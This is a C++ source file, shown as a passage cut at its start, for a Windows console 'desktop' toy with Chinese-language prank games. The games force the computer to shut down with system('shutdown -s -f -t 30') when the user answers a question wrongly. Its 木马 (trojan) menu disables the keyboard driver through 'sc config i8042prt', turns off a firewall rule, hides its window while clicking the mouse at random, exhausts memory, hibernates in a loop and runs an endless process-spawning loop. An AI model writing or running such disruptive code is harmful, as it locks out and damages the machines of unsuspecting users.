cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
else{
cout<<"你选对了"<<endl<<endl;
cout<<"但是"<<endl<<endl;
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
if(a==0){
cout<<"你赢了,坑不了你"<<endl<<endl;
Sleep(1000);
cout<<"让我帮你关电脑吧!!!!!!";
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
}
if(z==2){
int a;
cout<<"欢迎来到坑爹荣耀2.0"<<endl<<endl;
Sleep(2000);
cout<<"作者: ";
Sleep(1500);
cout<<"高";
Sleep(1500);
cout<<"富";
Sleep(1500);
cout<<"帅"<<endl<<endl;
Sleep(1500);
cout<<"请用数字输入"<<endl<<endl;
Sleep(2000);
cout<<"选**"<<endl<<endl;
Sleep(2000);
cout<<"作者最牛 0 "<<"坑娘荣耀 1 "<<"坑爹荣耀 2 "<<"安全荣耀(测试服) 3"<<endl;
cin>>a;
if(a==1||a==3){
cout<<"你TM还真信了!!!!!!!"<<endl<<endl;
Sleep(2000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
Sleep(1000);
cout<<"给你一个机会吧"<<endl<<endl;
Sleep(1500);
cout<<"问你三个问题"<<endl<<endl;
Sleep(1500);
cout<<"(1) 作者牛不牛(牛1,不牛2)"<<endl<<endl;
int b;
cin>>b;
if(b==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
}else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
cout<<"(2) 作者帅不帅(帅1,不帅2)"<<endl<<endl;
int c;
cin>>c;
if(c==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
}
else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
cout<<"(3) 作者**不**(**1,不**2)"<<endl<<endl;
int d;
cin>>d;
if(d==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
cout<<"饶你一条狗命"<<endl<<endl;
Sleep(1500);
return 0;
}else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
return 0;
}
}if(a==0){
cout<<"你赢了,坑不了你"<<endl<<endl;
Sleep(1000);
cout<<"让劳资帮你关电脑吧!!!!!!"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
if(a==2){
cout<<"你选对了"<<endl<<endl;
Sleep(1000);
cout<<"但是"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
}
}
int o(){
int a,b,c,d;
cout<<"坑不S你算我输(大家帮忙看看有没有bug)的作者:";
Sleep(1000);
cout<<"高";
Sleep(1000);
cout<<"富";
Sleep(1000);
cout<<"帅。";
Sleep(1000);
cout<<"好玩吗?(1=好玩。2=不好玩。3=我要白看!)";
cin>>a;
if(a==1){
cout<<"吹牛!";
Sleep(1000);
cout<<"你给我关**!";
Sleep(1000);
cout<<"给你一个机会吧,";
Sleep(1000);
cout<<"叫自己SB!(1.已经叫了。2.你才是SB!)";
cin>>d;
if(d==1){
cout<<"SB,你可以**了!";
}
else{
cout<<"你可以关机了!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
if(a==2){
cout<<"还算比较聪明,饶你一条狗命。";
Sleep(1000);
cout<<"但是,你还是要关机。";
Sleep(1000);
cout<<"哈哈哈!";
Sleep(1000);
cout<<"给你一个机会,";
Sleep(1000);
cout<<"作者帅不帅?(1.很帅,帅到**!2.很衰!)";
cin>>b;
if(b==1){
cout<<"你可以**了!";
}
else{
cout<<"我送你一程吧!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
if(a==3){
cout<<"还敢白看!";
Sleep(1000);
cout<<"叫爷爷!(1.叫爷爷!2.不叫爷爷。)";
cin>>c;
if(c==1){
cout<<"乖孙子,**蛋吧!";
}
else{
cout<<"拜拜了您呢!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
return 0;
}
void get_version(){
cout<<"lcy spear version 2.1.0\nbuild 2222\n";
return;
}
int setup(){
Beep(523,180);
Beep(523,300);
}
int shutdown(){
Beep(784,150);
Beep(578,150);
Beep(523,150);
Beep(392,400);
}
int ys(){
char a11,b11;
cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n";
cout<<"字体颜色:";
cin>>a11;
cout<<"背景颜色:";
cin>>b11;
while(!(a11>='0'&&a11<='9'||a11>='A'&&a11<='F')||!(b11>='0'&&b11<='9'||b11>='A'&&b11<='F')){
cout<<"错误!\n";
system("pause");
system("cls");
cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n";
cout<<"字体颜色:";
cin>>a11;
cout<<"背景颜色:";
cin>>b11;
}
system("cls");
const char s11[]={'c','o','l','o','r',' ',b11,a11};
system(s11);
cout<<"颜色设置成功!\n";
system("pause");
system("cls");
}
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int sk(){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("pause");
while(!KEY_DOWN(0x41)){
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
return 0;
}
int muma(){
system("cls");
cout<<"[1]关机电脑\n[2]锁定键盘\n[3]木马\n[4]让电脑**\n[5]让鼠标乱点\n[6]永久休眠\n[7]永久弹窗\n";
int q2;
cin>>q2;
if(q2>=1&&q2<=7){
if(q2==1){
system("shutdown -s");
}else if(q2==2){
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
}else if(q2==3){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==4){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
while(1){
string *s=new string[100000000000000];
}
}else if(q2==5){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==6){
while(1){
system("shutdown -h");
}
}else{
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1){
system("start");
}
}
}else{
cout<<"输入错误!";
system("pause");
}
}
void t_friend(int a,int b){
double num,_a=a,_b=b;
if(fmod(a,b)==0.0) num+=100.0;
else if((double)(int)a/b*100==a*b/100) num+=80.0;
else num+=0.0;
if(fmod(b,a)==0.0) num+=100.0;
else if((double)(int)b/a*100==b*a/100) num+=80.0;
else num+=0.0;
if((double)(int)b/a*100000000==b/a*100000000) num+=100.0;
else num+=0.0;
cout<<"友谊度:"<<num/3.0;
}
int deskop(int tal=0){
int n,ding;
bool flag,vb=0;
string miyao;
system("cls");
ifstream in("data.dll");
in>>flag;
if(tal==0){
string kg="\n\
| . | .\n\
| | | |\n\
| | | |\n\
|____| |____| Build 2222(V2.1.0)\n Starting.";
cout<<kg;
Sleep(666);
cout<<".";
Sleep(667);
cout<<".";
Sleep(667);
setup();
system("cls");
}
system("cls");
cout<<"1.windows电源\n2.lili System电源\n3.版本号\n4.激活\n5.dos\n6.坑爹荣耀(非原创)\n7.坑人程序(ex.exe)\n8.计算器\n9.木马\n10.颜色设置\n11.鼠标连点器\n12.友谊度(debug)\n13.判断肥胖\n14.虚拟机";
cin>>ding;
system("cls");
if(ding==1){
int n;
cout<<"1.关机\n2.重启\n3.休眠\n4.注销:";
cin>>n;
if(n==1) system("shutdown /s");
if(n==2) system("shutdown /r");
if(n==3) system("shutdown /h");
if(n==4) system("shutdown /l");
return 0;
}
if(ding==2){
if(!vb){
cout<<"1.关闭\n2.重启\n3.注销\n4.锁定:";cin>>n;}
else{cout<<"Visual Box has any 关闭.";Sleep(666);}
system("cls");
return n;
}
if(ding==3){
get_version();
Sleep(5000);
return 5;
}
if(ding==4){
int i;
cout<<"请输入密钥(可咨询老李):";
cin>>i;
if(i>=8000&&i<=8500&&i%3!=0){
cout<<"激活成功!";
ofstream out("data.dll");
out<<1<<endl;
}
else{
cout<<"激活失败!";
}
}
if(ding==5){
system("cls");
system("cmd cls");
return 5;
}
if(ding==6){
cd();
return 5;
}
if(ding==7){
o();
return 5;
}
if(ding==8){
cout<<"请输入算式:";
calc();
return 5;
}
if(ding==9){
muma();
return 5;
}
if(ding==10){
ys();
return 5;
}
if(ding==11){
sk();
return 5;
}
if(ding==12){
int a,b;
cout<<"请输入两个人的学号:";
cin>>a>>b;
t_friend(a,b);
Sleep(3000);
return 5;
}
if(ding==13){
double tg,bmi=0.0,l;
cout<<"请输入体重(kg)";
cin>>tg;
cout<<"请输入身高(m)";
cin>>l;
bmi=tg/l/l;
cout<<"bmi:"<<bmi<<endl;
if(bmi<=14.3) cout<<"瘦小";
else if(bmi<=21.4) cout<<"正常";
else if(bmi<=24.1) cout<<"偏重";
else cout<<"肥胖";
Sleep(3000);
return 5;
}
if(ding==14){
system("cls");
cout<<"Visual Box laoding...";
Sleep(667);
vb=1;
deskop();
system("cls");
cout<<"Visual Box shutdown...";
vb=0;
Sleep(667);
return 5;
}
}
int main(){
int tps=0;
while(1){
int n=deskop(tps);
if(n==1){shutdown();break;}
if(n==2){
shutdown();
system("cls");
Sleep(500);
}
if(n==3||n==4){
cout<<"按Enter唤醒。";
getchar();
getchar();
tps=1;
}
if(n==5)tps=1;
}
return 0;
}